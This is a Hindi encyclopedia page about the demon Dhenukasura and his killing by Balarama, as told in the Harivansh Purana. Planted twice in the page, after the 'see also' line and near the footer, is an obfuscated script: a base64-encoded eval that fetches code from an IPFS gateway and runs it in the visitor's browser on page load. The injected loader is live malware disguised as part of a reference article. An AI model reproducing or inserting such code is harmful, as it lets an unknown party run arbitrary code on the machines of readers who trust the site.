धेनुकासुर  

धेनुकासुर अथवा 'धेनुक' हरिवंशपुराण के अनुसार एक राक्षस था, जिसका वध श्रीकृष्ण के भाई बलराम द्वारा हुआ था।

  • अपनी बाल्यावस्था में जब कृष्ण तथा बलराम सखाओं के साथ तालवन में फल खाने गये, तब असुर धेनुकासुर ने गधे के रूप में उन पर हमला किया।
  • बलराम ने धेनुकासुर के पैर पकड़कर और घुमा-घुमाकर पेड़ पर पटक दिया, जिससे उसके प्राण निकल गये।
  • राक्षस धेनुकासुर का शव वहीं वन में एक वृक्ष पर लटका दिया गया।


इन्हें भी देखें: धेनुकासुर वध, यमलार्जुन मोक्ष एवं कालयवन<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः



"https://amp.bharatdiscovery.org/w/index.php?title=धेनुकासुर&oldid=475657" से लिया गया